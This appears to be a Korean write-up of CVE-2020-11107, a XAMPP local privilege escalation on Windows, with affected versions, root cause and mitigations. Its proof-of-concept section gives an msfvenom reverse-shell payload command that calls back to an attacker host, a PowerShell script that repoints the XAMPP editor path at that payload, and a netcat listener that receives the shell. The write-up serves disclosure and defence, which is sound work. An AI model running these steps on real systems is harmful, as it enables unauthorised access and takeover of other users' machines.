🧨 CVE-2020-11107 – XAMPP 로컬 권한 상승 (Windows)

📌 개요

CVE-2020-11107은 Windows에서 Apache Friends XAMPP에 영향을 미치는 로컬 권한 상승(LPE) 취약점입니다.

권한이 없는 사용자가 XAMPP 제어판 구성 파일(xampp-control.ini)을 수정하고 기본 편집기 실행 파일(notepad.exe)을 악성 실행 파일로 교체할 수 있습니다.
다른 사용자(예: 관리자)가 제어판을 통해 로그를 열면 악성 바이너리가 희생자의 권한으로 실행되어 권한 상승이 발생합니다.

❗ 이 취약점은 Linux나 macOS에는 영향을 미치지 않습니다.

🎯 영향을 받는 버전

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

테스트 환경

• Windows 10
• XAMPP 7.3.10

🧠 근본 원인

• xampp-control.ini는 전역적으로 쓰기 가능
• 편집기/브라우저 경로가 신뢰되어 실행됨
• 구성 변경이 모든 사용자에게 영향을 미침
• 실행 파일 경로에 대한 검증 없음

🗂 중요 파일

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 취약점 증명

XAMPP 버전 확인:

type C:\xampp\properties.ini

예시 출력:

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ 해당 버전은 취약합니다.

⚔️ 악용 단계 (PoC)

1️⃣ 악성 페이로드 생성 (공격자 – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ 타겟으로 페이로드 전송

mkdir C:\temp
# Upload msf.exe into C:\temp

3️⃣ XAMPP 구성 수정 (낮은 권한 사용자)

악용 스크립트 (PowerShell):

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

스크립트 실행:

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ 실행 트리거 (희생자 / 관리자)

희생자 실행:

C:\xampp\xampp-control.exe

그런 다음 제어판에서 로그 파일을 엽니다.

5️⃣ 셸 획득 (공격자)

nc -lvnp 4444

✅ 결과:

Connection received...
C:\WINDOWS\system32>

🎉 권한 상승 성공

📈 영향

• 로컬 권한 상승
• 임의 명령 실행
• 전체 시스템 손상 (관리자가 트리거하는 경우)

🛡 완화 방법

• XAMPP를 다음 버전 중 하나(또는 그 이상)로 업데이트:

  • 7.2.29
  • 7.3.16
  • 7.4.4

• 다음 파일의 권한 제한:

C:\xampp\xampp-control.ini

• XAMPP 제어판을 관리자로 실행하지 않음

📚 참고 자료

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Apache Friends Advisory: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• 원본 연구: https://github.com/S1lkys/CVE-2020-11107